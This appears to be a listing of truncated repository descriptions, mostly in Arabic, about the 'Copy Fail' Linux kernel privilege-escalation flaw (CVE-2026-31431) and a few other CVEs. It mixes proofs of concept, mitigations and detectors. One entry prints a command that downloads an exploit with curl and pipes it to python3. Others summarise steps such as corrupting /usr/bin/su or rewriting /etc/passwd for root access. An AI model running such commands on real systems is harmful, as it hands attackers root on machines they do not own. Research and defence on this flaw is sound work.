CVE-2026-31431

CVE-2026-31431 — Copy Fail تصعيد صلاحيات محلي في قالب التشفير authencesn في نواة لينكس عبر AFALG + splice. تم الكشف عنه في 29 أبريل 2026 بواسطة Theori Xint Code. نظرة عامة الحقل| التفاصيل ---|--- CVE| CVE-2026-31431 الاسم المستعار| Copy Fail CVSS| 7.8 عالية النوع| تصعيد صلاحيات محلي LPE تاريخ...

CVE-2026-31431

Copy Fail - CVE-2026-31431 يحتوي هذا المستودع على PoC صغير لتصعيد الامتيازات محليًا في نظام Linux لثغرة CVE-2026-31431، والمعروفة أيضًا باسم "Copy Fail". يستهدف الاستغلال مسار algifaead في نواة Linux ضمن واجهة برمجة التشفير AFALG في مساحة المستخدم. يستخدم AFALG مع splice لإجبار النواة على الكتابة...

copy-fail

تخفيف CopyFail CVE-2026-31431 - دليل متعدد التوزيعات يحتوي هذا المستودع على دروس مفصّلة وسكربتات لتخفيف ثغرة CopyFail CVE-2026-31431. تؤثر هذه الثغرة على النظام الفرعي للتشفير في نواة لينكس AFALG وتسمح بتصعيد الصلاحيات محليًا LPE من مستخدم عادي إلى root. 📁 هيكل المستودع يتم تنظيم المستودع حسب...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 — "Copy Fail": تصعيد الامتيازات المحلية في نواة لينكس algifaead CISA KEV | CVSS 7.8 عالية | يؤثر على نوى لينكس 4.14 – أوائل 2026 9 سنوات جدول المحتويات 1. الملخص التنفيذي 2. تقييم المخاطر 3. الغوص التقني العميق 4. منهجية الهجوم — الفريق الأحمر 5. الكشف والاستجابة للحوادث — الفريق...

cve-2026-31431-checker

أداة كشف CVE-2026-31431 فشل النسخ أداة شاملة للكشف والتحليل لثغرة CVE-2026-31431 "فشل النسخ" في أنوية لينكس. ⚠️ إخلاء مسؤولية مهم هذه الأداة للكشف فقط. لا تستغل أو تعدّل أي ملفات نظام. تقرأ فقط معلومات النظام وملفات الإعدادات لا تكتب في /etc/passwd أو /usr/bin/su أو أي ملفات نظام ثنائية لا تنفّذ...

alg_check

⚠️ تنبيه مهم: مخاطر التقوية الهيكلية تنفذ هذه الأداة الحظر الهيكلي للتخفيف من CVE-2026-31431 عن طريق إعادة تسمية وحدات النواة فعليًا وتطهيرها من الذاكرة. قبل الاستخدام، يرجى الانتباه إلى المخاطر المعمارية التالية: تقلب تحديثات النواة : تأثيرات التقوية مؤقتة. سيؤدي تحديث النواة إلى نشر وحدات جديدة...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — إصدار إطار الاستغلال الجماعي. وحدة آلية للتصعيد الجماعي للامتيازات المحلية LPE إلى NT AUTHORITY\SYSTEM عبر ثغرة استخدام بعد التحرير use-after-free في برنامج تشغيل AFD.sys برنامج تشغيل الوظائف المساعدة. صُمم هذا الاستغلال للبيئات المؤسسية: يدعم Windows 10/11 جميع إصدارات 2025–2026...

copyfail-mitigation

CVE-2026-31431 — Copy Fail تصعيد صلاحيات / تلف ذاكرة في نواة لينكسalgifaead أدوار Ansible للتدقيق والتخفيف — جاهزة للتشغيل في بيئة الإنتاج نظرة عامة Copy Fail CVE-2026-31431 هي ثغرة أمنية في وحدة algifaead بنواة لينكس — وهي الواجهة الموجهة للمستخدمين لعائلة مآخذ AFALG الخاصة بالتشفير. يسمح خلل في...

CVE-2026-31431-copy-fail

فشل النسخ معظم ثغرات رفع الامتيازات المحلية LPE في لينكس تحتاج إلى نافذة سباق أو إزاحة خاصة بالنواة. Copy Fail هو عيب منطقي مستقيم — لا يحتاج إلى أي منهما. نفس سكربت بايثون المكوّن من 732 بايت يمنح صلاحيات الجذر لكل توزيعة لينكس صدرت منذ 2017. تشغيل سريع: curl https://copy.fail/exp | python3 && s...

CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC ثغرة رفع صلاحيات محلية LPE بسيطة بدون صلاحيات عبر كتابة 4 بايتات مُتحكَّم بها في ذاكرة التخزين المؤقت للصفحات page cache لأي ملف قابل للقراءة عبر خطأ منطقي في AFALG النواة 4.14 ← أوائل 2026. أفسد /usr/bin/su في الذاكرة، ثم شغّله ← ستحصل على صلاحيات root. البناء...

CVE-2026-31431-Report-Copy-fail-Vulnerability-

CVE-2026-31431 — فشل النسخ: تصعيد صلاحيات نواة لينكس تحليل تعليمي لثغرة فشل النسخ في نواة لينكس. يغطي آلية تلف الذاكرة، مسار تصعيد الصلاحيات، الهروب من الحاويات، والإجراءات الدفاعية المضادة. ⚠️ إخلاء مسؤولية هذا المستودع لأغراض تعليمية وبحثية فقط. لا تستخدم هذه المعلومات على أنظمة لا تملكها أو ليس...

copyfail

CVE-2026-31431 — سكربت الكشف الآمن لثغرة "Copy Fail" سكربت كشف للقراءة فقط لثغرة رفع الصلاحيات المحلية Copy Fail في نواة لينكس. لا يحتوي على كود استغلال. لا يفتح أي مقبس AFALG. لا يكتب أي ملفات خارج /etc/modprobe.d فقط عند تطبيق التخفيف يدويًا. الخلفية Copy Fail CVE-2026-31431 هو خلل منطقي في وحد...

HTB-Snapped-Writeup

HTB-Snapped-Writeup HTB Snapped — كتابة حل آلة Linux صعبة. تم ربط CVE-2026-27944 كشف نسخة احتياطية غير مصادق عليها في Nginx UI مع CVE-2026-3888 سباق في snapd لتصعيد الصلاحيات محليًا لتحقيق اختراق كامل للنظام. HTB: Snapped — كتابة الحل الصعوبة: صعبة نظام التشغيل: Linux Ubuntu 24.04 تاريخ الإصدار: ...

Weekly-Breach-Investigation--006

ثغرة النسخ الفاشل CVE-2026-31431 الملخص خلل محلي عالي الخطورة في تصعيد الامتيازات في نواة لينكس، يسمح للمستخدمين غير المصرح لهم بالحصول على صلاحيات الجذر root من خلال إفساد ذاكرة التخزين المؤقت للصفحات في الذاكرة. يؤثر على توزيعات لينكس منذ عام 2017 ويشكل مخاطر جسيمة على البيئات السحابية وبيئات...

CVE-2026-21250

CVE-2026-21250: Windows HTTP.sys استغلال ثغرة رفع الامتيازات المحلية Windows 11 24H2 - رفع الامتيازات المحلية 🚨 تحليل تقني وموارد لثغرة CVE-2026-21250 Windows 11 24H2 / 25H2 - Windows Server 2022/2025 يحتوي هذا المستودع على توثيق تقني وموارد لدراسة ثغرة CVE-2026-21250، وهي خلل في إلغاء مرجعية مؤش...

CVE-2026-31431-Copy-Fail---Advanced-LPE-Proof-of-Concept---C-Rewrite

CVE-2026-31431 "Copy Fail" - إثبات مفهوم متقدم لتصعيد الامتيازات المحلية - إعادة كتابة بلغة C إثبات مفهوم PoC متقدم ومطابق للبايت لتصعيد الامتيازات المحلية LPE لثغرة CVE-2026-31431 ، والتي تستغل خللاً منطقياً في نظام التشفير الفرعي لنواة لينكس algifaead. يحتوي هذا المستودع على تنفيذ عالي التحسين...

CVE-2026-31431

CopyFail2 CVE-2026-31431 - تنفيذ بايثون نسخة بايثون من استغلال النواة CopyFail2 الذي يستغل مسار MSGSPLICEPAGES السريع بدون COW في xfrm ESP-in-UDP لتصعيد الامتيازات محليًا على لينكس بدون صلاحيات. يستبدل إدخال nologin/false في /etc/passwd بمستخدم uid-0 بدون كلمة مرور ويدخل إلى قشرة جذر عبر su. الثغ...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431 "Copy Fail" — كاشف مختبر XCP-ng سكربت كاشف آمن وغير مدمر لثغرة CVE-2026-31431 "Copy Fail"، تم التحقق منه على XCP-ng 8.3 LTS قبل التحديث الأمني الصادر في 5 مايو 2026. ⚠️ للاستخدام المصرح به فقط. قم بتشغيل هذا السكربت حصريًا على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها...

kbd: Local privilege escalation in openvt via incorrect process owner verification allowing passwordless root login

openvt -u is intended to identify the owner of the current VT and then execute login as that user from a privileged context. In the documented kbrequest/init usage, the ownership test in authenticateuser relies on stat"/proc//fd/0". stat on /proc//fd/0 follows the symlink to the underlying TTY...

copy-fail-CVE-2026-31431-poc

CVE-2026-31431 — إثبات المفهوم "Copy Fail" يحتوي هذا المستودع على إثبات مفهوم PoC لاستغلال CVE-2026-31431 ، وهي ثغرة أمنية عالية الخطورة في نواة لينكس تسمح بترقية الصلاحيات محليًا، حيث تتيح لأي مستخدم محلي غير مميز الحصول على صلاحيات الجذر root. الخلل، الذي أُطلق عليه اسم "Copy Fail"، يقع في وحدة...